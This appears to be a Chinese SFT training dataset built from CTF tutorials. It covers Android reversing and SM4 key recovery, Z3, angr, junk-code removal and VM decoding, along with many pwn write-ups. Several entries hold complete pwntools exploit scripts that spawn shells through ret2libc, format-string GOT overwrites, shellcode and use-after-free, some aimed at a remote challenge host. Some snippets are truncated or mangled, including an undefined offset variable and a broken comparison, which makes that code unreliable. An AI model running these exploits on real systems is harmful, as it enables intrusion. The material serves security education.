跟进分析、，发现调用了 native 层的方法。

解压 apk 文件，分析、文件。

定位、，

IDA 逆向分析，发现比较代码，猜测、RE1、IDA
蒸馏要点：
- 下载附件拿到一个`apk`文件，jadx 打开分析，通过 xml 文件定位到`MainActivity`。方法名很乱，应该是做了混淆。
- 分析代码，找到按钮点击监听位置。
- 跟进`b`分析，发现了输入校验逻辑。
- 跟进分析`Check`，发现调用了 native 层的方法。
- 解压 apk 文件，分析`so`文件。
- 定位`validate`，
- IDA 逆向分析，发现比较代码，猜测`byte_CB0`是密文
可用于训练的标准回答：
### 2024 网鼎杯 RE1

下载附件拿到一个`apk`文件，jadx 打开分析，通过 xml 文件定位到`MainActivity`。方法名很乱，应该是做了混淆。

分析代码，找到按钮点击监听位置。

```java
((Button) this.f1519o.f930b).setOnClickListener(new b(this));  // 按钮点击监听
```

跟进`b`分析，发现了输入校验逻辑。

跟进分析`Check`，发现调用了 native 层的方法。

解压 apk 文件，分析`so`文件。

定位`validate`，

IDA 逆向分析，发现比较代码，猜测`byte_CB0`是密文

跟进查看，发现密文为48字节

继续分析代码

典型的 SM4 加密的特征，所以判断这是 SM4 加密函数。

```
v3 = 0x534BA9AE;  // FK2
v4 = 0x8B401286;  // FK3
```

这里的 0x5A30303939383634 是一个十六进制数，对应于 ASCII 字符串 Z0099864 。`aA1122357753221`被初始化为 A11223577532211A

将原始密钥 A11223577532211A 的后半部分替换为 Z0099864 ，用小端序将低位字节存储在低地址处，

高位字节存储在高地址处，所以替换后的密钥为`A11223574689900Z`

判断为 SM4 算法，我们将密文和密钥通过工具进行解密

SM4 算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Z3》的“Z3”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Z3 / Z3
关键词：shell
pip install z3-solver、angr、shell、pip、install、solver、SMT
蒸馏要点：
- Z3 是一个微软出品的开源约束求解器，能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题。
- Z3是由微软研究院开发的高性能定理证明器，专注于解决包含布尔逻辑、算术、位运算等复杂约束条件的问题。作为当前最先进的SMT（可满足性模理论）求解器之一，Z3广泛应用于软件验证、程序分析、网络安全和人工智能等领域。
- angr 符号执行引擎基于 z3 约束求解实现，因此学习 z3 约束求解器对于理解 angr 工作原理至关重要。
可用于训练的标准回答：
## Z3

Z3 是一个微软出品的开源约束求解器，能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题。

Z3是由微软研究院开发的高性能定理证明器，专注于解决包含布尔逻辑、算术、位运算等复杂约束条件的问题。作为当前最先进的SMT（可满足性模理论）求解器之一，Z3广泛应用于软件验证、程序分析、网络安全和人工智能等领域。

angr 符号执行引擎基于 z3 约束求解实现，因此学习 z3 约束求解器对于理解 angr 工作原理至关重要。

安装：

```shell
pip install z3-solver
```

Z3


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“processDeeplinkExpression”？请用《2025强网杯 Qclac》中的内容回答。

[Assistant]
1. // 情况一：表达式包含 "intent:"，代表嵌套 Intent（可能是安全测试或回退机制）
2. if (expression.contains("intent:")) {
3. // 尝试解析表达式为 Intent
4. Intent errorFallbackIntent = Intent.parseUri(expression, 1);
5. // 将其保存到当前 Activity 的 Intent 里作为备用
6. getIntent().putExtra("fallback", errorFallbackIntent);

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[SWPUCTF 2023 秋季新生赛]神奇的strlen”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[SWPUCTF 2023 秋季新生赛]神奇的strlen”。
语言/类型：python
关联知识点：
- 注意：本地和远程存在区别，远程发送数据会有延迟，本地发送数据没有延迟
- 所以最好本地打的时候中间停顿一下
代码片段：
```python
from pwn import *

io = remote('node4.anna.nssctf.cn',28070)
#io=process("./strlen")
elf = ELF('./strlen')
libc = ELF('./libc.so.6')
io.sendline(b'200')
offset = 0x48
rdi = 0x401373
io.send(b'\x00'*stribikslove+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x4011F6))

puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base = puts - libc.sym.puts
sys = base + libc.sym.system
bsh = base +  next(libc.search(b'/bin/sh\x00'))
one = [0xe3afe, 0xe3b01, 0xe3b04]
io.sendline(b'200')

io.send(b'\x00'*offset+p64(base+one[1]))
io.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“填满缓冲区”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / 填满缓冲区
关键词：p64、libc、x00、call_vuln、system、rdi、ret、rop、range、aaaaaaaaaaaaaaaaaaaaaaaa
蒸馏要点：
- for i in range(0xb0):
- s(b'b'*0x48+p64(call_vuln)+b'\x00'*0x10)
- ru('aaaaaaaaaaaaaaaaaaaaaaaa')
- libc = u64(r(6)+b'\x00\x00')-0x1e94a0
- system = libc + 0x000000000052290
- rdi = libc + 0x23b6a
- sh = libc + 0x00000000001B45BD
可用于训练的标准回答：
# 填满缓冲区

for i in range(0xb0):
    s(b'b'*0x48+p64(call_vuln)+b'\x00'*0x10)

ru('aaaaaaaaaaaaaaaaaaaaaaaa')
libc = u64(r(6)+b'\x00\x00')-0x1e94a0
system = libc + 0x000000000052290
rdi = libc + 0x23b6a
sh = libc + 0x00000000001B45BD
ret = libc + 0x0000000000022679
rop = p64(rdi) + p64(sh) + p64(system)

s((b'a'*0x48+p64(ret)+p64(call_vuln)).ljust(0x60,b'\x00'))
s(b'a'*0x48+rop)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“添加约束”？请用《Z3》中的内容回答。

[Assistant]
1. 我们可以通过求解器的`add()`方法为指定求解器添加约束条件，约束条件可以直接通过`z3`变量组成的式子进行表示：
2. 对于布尔类型的式子而言，我们可以使用z3内置的`And()`、`Or()`、`Not()`、`Implies()`等方法进行布尔逻辑运算：

Z3


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《花指令：原理：反汇编算法的设计缺陷》的“脚本清除花指令”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：花指令：原理：反汇编算法的设计缺陷 / 脚本清除花指令
关键词：buf、pattern、start、fake_jcc、opcode、jnx、chr、jx、抄大佬的代码、JNO
蒸馏要点：
- 除汇编指令共用之外，上面有3个类别花指令 ida 无法正常识别
- 互补条件跳转（比较好处理）
- 永真条件跳转（各种永真条件比较难匹配）
- call&ret跳转（比较难处理）
- 所以就只对第一种`jnx`和`jx`的花指令进行自动化处理
- 所有的跳转指令，互补跳转指令只有最后一个不同
可用于训练的标准回答：
## 脚本清除花指令

除汇编指令共用之外，上面有3个类别花指令 ida 无法正常识别

1. 互补条件跳转（比较好处理）
2. 永真条件跳转（各种永真条件比较难匹配）
3. call&ret跳转（比较难处理）

所以就只对第一种`jnx`和`jx`的花指令进行自动化处理

所有的跳转指令，互补跳转指令只有最后一个不同

```
70  JO(O标志位为1跳转)
71  JNO
72  JB/JNAE/JC
73  JNB/JAE/JNC
74  JZ/JE
75  JNZ/JNE
76  JBE/JNA
77  JNBE/JA
78  JS
79  JNS
7A  JP/JPE
7B  JNP/JPO
7C  JL/JNGE
7D  JNL/JGE
7E  JLE/JNG
7F  JNLE/JG
```

抄大佬的代码

```python
from ida_bytes import get_bytes,patch_bytes
start= 0x401000#start addr
end = 0x422000
buf = get_bytes(start,end-start)

def patch_at(p,ln):
    global buf
    buf = buf[:p]+b"\x90"*ln+buf[p+ln:]

fake_jcc=[]
for opcode in range(0x70,0x7f,2):
    pattern = chr(opcode)+"\x03"+chr(opcode|1)+"\x01"
    fake_jcc.append(pattern.encode())
    pattern = chr(opcode|1)+"\x03"+chr(opcode)+"\x01"
    fake_jcc.append(pattern.encode())

print(fake_jcc)
for pattern in fake_jcc:
    p = buf.find(pattern)
    while p != -1:
        pa...

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《VM 指令虚拟化》的“opcode 和 对应的操作码”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。

[Assistant]
出处：VM 指令虚拟化 / opcode 和 对应的操作码（第 1 段）
关键词：count、code_index、str、end、opcode、opcode_key、data、nop、mov、reg
蒸馏要点：
- opcode_key = {
- 0: 'nop',
- 1: 'mov reg data',
- 2: 'push data',
- 3: 'push_reg',
- 4: 'pop_reg',
- 5: 'printf',
可用于训练的标准回答：
# opcode 和 对应的操作码

opcode_key = {
    0: 'nop',
    1: 'mov reg data',
    2: 'push data',
    3: 'push_reg',
    4: 'pop_reg',
    5: 'printf',
    6: 'add_reg_reg1',
    7: 'sub_reg_reg1',
    8: 'mul',
    9: 'div',
    10: 'xor',
    11: 'jmp',
    12: 'cmp',
    13: 'je',
    14: 'jne',
    15: 'jg',
    16: 'jl',
    17: 'scanf_strlen',
    18: 'mem_init',
    19: 'stack_to_reg',
    20: 'load_input',
    0xff: 'exit'
}

#解释器
count = 0
code_index = 1
for i in opcode: #取出每个opcode
    if count % 3 == 0: #每3个opcode是一条指令,每个指令的第一个是操作码
        print(str(code_index) + ':', end=' ')
        print(opcode_key[i],end=" ")
        code_index += 1
    elif count % 3 == 1:
        print(str(i)+",", end=" ")
    else:
        print(str(i))
    count += 1
```

输出结果：

opcode 和 对应的操作码

VM 指令虚拟化


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《VM 指令虚拟化》的“opcode 和 对应的操作码”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。

[Assistant]
出处：VM 指令虚拟化 / opcode 和 对应的操作码（第 3 段）
关键词：data、flag、temp、chr、range、else
可用于训练的标准回答：
```python
data = [0x7,0xd,0x0,0x5,0x1,0xc,0x1,0x0,0x0,0xd,0x5,0xf,0x0,0x9,0x5,0xf,0x3,0x0,0x2,0x5,0x3,0x3,0x1,0x7,0x7,0xb,0x2,0x1,0x2,0x7,0x2,0xc,0x2,0x2,]
data = data[::-1]
flag = ''
for i in range(0, 34, 2):
    temp = data[i] + data[i+1]*16
    x = ((temp+1) ^ 75)
    y = ((temp-1) ^ 71)
    if x>=65 and x=97 and y<=122:   # 'a' - 'z'
        flag += chr(y)
    else:
        flag += chr(temp)    # 没有处于'a'-'z'或'A'-'Z'之间
print(flag)
```

opcode 和 对应的操作码

VM 指令虚拟化


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“[SDCTF 2022]Oil Spill”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / [SDCTF 2022]Oil Spill
关键词：puts_addr、elf、libc、puts、SDCTF、bin、import、LibcSearcher、gift、ELF
可用于训练的标准回答：
### [SDCTF 2022]Oil Spill

#格式化字符串 #GOT劫持

```python
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

puts_addr=int(r(14),16)
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
base=puts_addr-libc.dump("puts")
sys=libc.dump("system")+base
sh=0x600c80
fmtpay=fmtstr_payload(8,{elf.got.puts:sys,sh:"/bin/sh\x00"})
s(fmtpay)
ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“SSP Leak”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。

[Assistant]
出处：Pwn：Stack / SSP Leak（第 3 段）
关键词：rsp、RELRO、PIE、int64、rbp、BYREF、然后我们将程序跑起来，获取程序输入内容的地址。

输入、我们可以看到我们输入的内容已经在栈中。、根据我们的输入位置和、的地址来计算偏移。
蒸馏要点：
- 然后我们将程序跑起来，获取程序输入内容的地址。
- 输入`aaaaaaaa`
- 我们可以看到我们输入的内容已经在栈中。
- 根据我们的输入位置和`argv[0]`的地址来计算偏移。
- 偏移为`0x1f8`，填充偏移大小的垃圾数据，然后在拼接上我们要泄露的变量地址。
- [2021 鹤城杯]easyecho
- 分析`main`函数
可用于训练的标准回答：
```c
40:0200│ r13 0x7fffffffd340 ◂— 1
41:0208│ rsi 0x7fffffffd348 —▸ 0x7fffffffd6ac ◂— '/root/smash'
42:0210│+0f0 0x7fffffffd350 ◂— 0
43:0218│ rdx 0x7fffffffd358 —▸ 0x7fffffffd6b8 ◂— 'HOSTTYPE=x86_64'
44:0220│+100 0x7fffffffd360 —▸ 0x7fffffffd6c8 ◂— 'LANG=C.utf8'
45:0228│+108 0x7fffffffd368 —▸ 0x7fffffffd6d4 ◂— 0x6f722f3d48544150 ('PATH=/ro')
```

然后我们将程序跑起来，获取程序输入内容的地址。

输入`aaaaaaaa`

我们可以看到我们输入的内容已经在栈中。

```c
00:0000│ rsp 0x7fffffffccd0 ◂— 0x58c5bb624771
01:0008│-118 0x7fffffffccd8 ◂— 0x300000000
02:0010│-110 0x7fffffffcce0 ◂— 'aaaaaaaa'
03:0018│-108 0x7fffffffcce8 —▸ 0x7fffffffcd00 ◂— 0x6562b026
04:0020│-100 0x7fffffffccf0 ◂— 0xffffcdd0
05:0028│-0f8 0x7fffffffccf8 —▸ 0x7fffffffcd10 ◂— 0xffffffff
06:0030│-0f0 0x7fffffffcd00 ◂— 0x6562b026
07:0038│-0e8 0x7fffffffcd08 —▸ 0x7ffff7b9c547 ◂— pop rdi /* '__vdso_getcpu' */
```

根据我们的输入位置和`argv[0]`的地址来计算偏移。

```c
 0x7fffffffced8-0x7fffffffcce0=...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[广东省大学生攻防大赛 2022]jmprsp”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[广东省大学生攻防大赛 2022]jmprsp”。
语言/类型：python
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

jmp_rsp = 0x0000000000459a37
payload = asm(shellcraft.sh()).ljust(0x88, b'\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp')
sl(payload)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“脚本清除花指令”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。

[Assistant]
1. 除汇编指令共用之外，上面有3个类别花指令 ida 无法正常识别
2. 互补条件跳转（比较好处理）
3. 永真条件跳转（各种永真条件比较难匹配）
4. call&ret跳转（比较难处理）
5. 所以就只对第一种`jnx`和`jx`的花指令进行自动化处理
6. 所有的跳转指令，互补跳转指令只有最后一个不同

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[SWPUCTF 2022 新生赛]InfoPrinter”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[SWPUCTF 2022 新生赛]InfoPrinter”。
语言/类型：python
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

ru("key ")
puts_addr=int(r(14),16)
r()
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
base=puts_addr-libc.dump("puts")
sys=libc.dump("system")+base
#修改的函数的参数地址
sh=0x403878
fmtpay=fmtstr_payload(6,{elf.got.puts:sys,sh:"/bin/sh\x00"})

sl(fmtpay)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“2025hgame FORMAT”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“2025hgame FORMAT”。
关联知识点：
- 搜索 gadget：
- main 函数部分存在一个格式化字符串漏洞，但是只能格式化字符串最多只能为 3 个字符，所以这里无法泄露 libc。仅仅可以泄露栈上固定数据。
- vuln 函数部分存在栈溢出，read 的长度是通过`a1`参数控制的，我们可以通过在外部调用处输入 -1 来写入很大的长度。
- 通过栈溢出劫持rbp为buf+0x10的地址，然后劫持返回地址为格式化字符串漏洞的地址，从而实现任意地址泄露，由于rdi是rbp-0x10地址的数据，我们要劫持rbp为buf+0x10的位置，从而泄露 libc 的地址。
代码片段：
```
Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《花指令：原理：反汇编算法的设计缺陷》中“call&ret构造花指令”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“call&ret构造花指令”。
关联知识点：
- `call`指令的本质：`push`将函数返回地址入栈然后`jmp`函数地址
- `ret`指令的本质：`pop eip`
- 代码中的`esp`存储的是函数返回地址，对`[esp]+8`，就是函数的返回地址+8，正好盖过代码中的函数指令和垃圾数据。
代码片段：
```
__asm {
         call LABEL9;
         _emit 0x83;
     LABEL9:
         add dword ptr ss : [esp] , 8;
         ret;
         __emit 0xF3;
     }
```

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“SSP Leak”部分，提炼一条适合 SFT 的中文技术讲解样本（第 5 段）。

[Assistant]
出处：Pwn：Stack / SSP Leak（第 5 段）
关键词：STACK、APPCODE_VM_OPTIONS、vmoptions、SSP、easyecho、在栈上发现了我们输入的内容，并且后面还有一个地址。

通过、指令查看一下为哪个段的地址，发现为可执行段的地址。、我们可以通过这个地址减去程序基址获取偏移。、c
p/x 0x555555400cf0-0x555555400000=cf0、程序通过格式化字符串
蒸馏要点：
- 0x555555400b1d    lea    rsi, [rip + 0x58b]       RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\n\n' */
- 0x555555400b24    mov    edi, 1                   EDI => 1
- ───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
- 00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */
- 01:0008│         0x7fffffffcef8 ◂— 0
- 02:0010│         0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx
- 03:0018│         0x7fffffffcf08 ◂— 0
可用于训练的标准回答：
0x555555400b1d    lea    rsi, [rip + 0x58b]       RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\n\n' */
   0x555555400b24    mov    edi, 1                   EDI => 1
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */
01:0008│         0x7fffffffcef8 ◂— 0
02:0010│         0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx
03:0018│         0x7fffffffcf08 ◂— 0
04:0020│ rbx     0x7fffffffcf10 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'
05:0028│         0x7fffffffcf18 ◂— 0
06:0030│         0x7fffffffcf20 ◂— 1
07:0038│         0x7fffffffcf28 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'
─────────────────────────────────────────────────[ BACKTRACE ]──...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《2025强网杯 Qclac》的“handleIntent”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：2025强网杯 Qclac / handleIntent
关键词：expression、data、VIEW、intent、action、processDeeplinkExpression、data.getQueryParameter("expression")、qiangcalc://calculate?expression=...、URI、URL
蒸馏要点：
- 检查`intent`是包含`data`（URI）并且`action`是`VIEW`。
可用于训练的标准回答：
##### handleIntent

检查`intent`是包含`data`（URI）并且`action`是`VIEW`。从 URL 中读取查询参数`expression`，（`data.getQueryParameter("expression")`）。若存在非空的`expression`，则交给`processDeeplinkExpression`处理。与 manifest 中的 deep link (`qiangcalc://calculate?expression=...`) 对应。

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Angr：Angr符号执行》中“State状态”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Angr：Angr符号执行》的“State状态”。
语言/类型：python
关联知识点：
- Project 实际上只是将二进制文件加载进来了，要执行它，实际上是对 SimState 对象进行操作，它是程序的状态。
- 要创建状态，需要使用 Project 对象中的 factory，它还可以用于创建模拟管理器和基本块，如下：
- 预设状态有四种方式如下：
- | 预设状态方式       | 描述                                                     |
- | entry_state        | 初始化状态为程序运行到程序入口点处的状态                 |
代码片段：
```python
state=p.factory.entry_state()
```

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“动态解密法”？请用《SMC自修改代码》中的内容回答。

[Assistant]
1. 例题：2024 Newstar SMC
2. 拿到附件，程序为 Linux 下的 ELF 文件，ida 反编译分析代码逻辑。
3. 一眼丁真，发现程序调用了`mprotect`修改`encrypt`函数内存权限，判断可能存在 SMC。
4. 然后程序通过`scanf`函数向变量`s`中输入字符串，长度要求必须为 28 字节。
5. 之后的代码逻辑很明显就是通过循环异或对`encrypt`函数进行解密了。
6. 这里我们对照着`encrypt`函数的情况来查看一下。

SMC自修改代码


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“原理”？请用《Base64》中的内容回答。

[Assistant]
1. 下面我们通过将明文 `“abc”` 进行 base64 编码来讲解 base64 编码原理。
2. 首先将明文每三个字节分为一组，每个字节 8bit，共 24bit。
3. 将 24bit 划分为四组，每组 6bit，4 组共 24bit
4. 将每组用 0 补齐为 8bit，4 组共 32bit。
5. 黄色部分就是补齐的 0。
6. 将补齐后的二进制数的十进制值作为编码表的下标获取编码表中的对应值。

Base64


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pyc：pyc文件》中“列表”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pyc：pyc文件》的“列表”。
关联知识点：
- `BUILD_LIST`用于创建一个`list`。
- 对应`k = [1,2]`。
- 通过列表推导式（语法糖）构建列表：
- 对应语句`a = [i+2 fo i in range(32)]`。
代码片段：
```
0 LOAD_CONST   0 (1)
2 LOAD_CONST   1 (2)
4 BUILD_LIST   2
6 STORE_NAME   0 (k)
```

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“stdout”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“stdout”。
关联知识点：
- 设置 stdout 全缓冲机制，大小为 0x1000。
- gift未初始化栈空间，所以栈内可 puts 出 libc。
- vuln 内有 0x20 字节栈溢出。
- 因为 vuln 函数返回时捕获更改寄存器内容的原因，控制 rip 到以下位置就可以拿到程序基地址。因为 write 是系统调用，所以即便设置全缓冲的情况下他仍然会直接输出。
代码片段：
```
Arch:     amd64
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“[[NISACTF 2022]UAF]”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。

[Assistant]
出处：Pwn：Stack / [[NISACTF 2022]UAF]（第 3 段）
关键词：index、sla、def、page、str、edit、content、show、dele、add
蒸馏要点：
- def edit(index, content):
- sla(b':', b'2')
- sla(b'page', str(index))
- sla(b'strings', content)
- def show(index):
- sla(b':', b'4')
- def dele(index):
可用于训练的标准回答：
def edit(index, content):
	sla(b':', b'2')
	sla(b'page', str(index))
	sla(b'strings', content)

def show(index):
	sla(b':', b'4')
	sla(b'page', str(index))

def dele(index):
	sla(b':', b'3')
	sla(b'page', str(index))

add() #index 0
dele(0)
add() #index 1
edit(1, b'sh\x00\x00' + p32(elf.sym['system']))
show(0)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“flag-market”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。

[Assistant]
出处：Pwn：Stack / flag-market（第 1 段）
关键词：lambda、data、format、malloc、fgets、text、num、FILE、flag、printf
蒸馏要点：
- scanf 写入 oflag 无限制。
- 可以覆盖掉 format 字符串。
- `printf`会打印`format`字符串，所以如果`format`字符串被覆盖掉就会产生格式化字符串漏洞。
- 由于`memset`的存在将栈上的 flag 清空了，所以我们无法通过格式化字符串漏洞从栈上读取 flag。
- 但是由于 I/O 类型的函数（如fopen、fgets）为了提高效率，会用到缓冲机制，这个缓冲机制通过调用 malloc 来实现的。
- 使用`fopen`时在内部会调用`malloc`来开辟一片空间，这片空间中会存放一个叫`FILE`的结构体，该结构体用于管理文件的描述符、当前读写位置、是否发生了错误、指向缓冲区的指针。光有管理结构还不够，还需要一个地方来存放从文件里预读出来的数据。这个地方就是I/O缓冲区。
- 当你的程序第一次尝试从文件读取数据时（例如，第一次调用`fgetc`或`fgets`），`_IO_FILE`的内部逻辑会检查自己是否有缓冲区。
可用于训练的标准回答：
### flag-market

分析：

scanf 写入 oflag 无限制。

可以覆盖掉 format 字符串。

`printf`会打印`format`字符串，所以如果`format`字符串被覆盖掉就会产生格式化字符串漏洞。

思路：

由于`memset`的存在将栈上的 flag 清空了，所以我们无法通过格式化字符串漏洞从栈上读取 flag。

但是由于 I/O 类型的函数（如fopen、fgets）为了提高效率，会用到缓冲机制，这个缓冲机制通过调用 malloc 来实现的。

使用`fopen`时在内部会调用`malloc`来开辟一片空间，这片空间中会存放一个叫`FILE`的结构体，该结构体用于管理文件的描述符、当前读写位置、是否发生了错误、指向缓冲区的指针。光有管理结构还不够，还需要一个地方来存放从文件里预读出来的数据。这个地方就是I/O缓冲区。

- 当你的程序第一次尝试从文件读取数据时（例如，第一次调用`fgetc`或`fgets`），`_IO_FILE`的内部逻辑会检查自己是否有缓冲区。
- 如果没有，它就会向内核申请一大块数据，即此时第二次调用了`malloc`。
- 然后，就是读的操作了（它会发出一次系统调用如`read`），让内核一次性把数据从文件填充到这个新分配的缓冲区里。
- 最后，读写函数会从这片缓冲区中操作数据。

所以程序通过`fgets`读取的 flag 文件内容就存放在堆上。

通过格式化字符串漏洞泄露堆地址，然后通过格式化字符串漏洞泄露堆上的 flag。

- exp

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“[SWPUCTF 2023 秋季新生赛]ezlibc”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / [SWPUCTF 2023 秋季新生赛]ezlibc
关键词：p32、write、elf、libc、off、sym、base、SWPUCTF、gift、ELF
可用于训练的标准回答：
### [SWPUCTF 2023 秋季新生赛]ezlibc

#ret2libc #write

- exp

```python
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]
libc=ELF("./libc-2.31.so")
context.arch="i386"

off=20
main=elf.sym.main
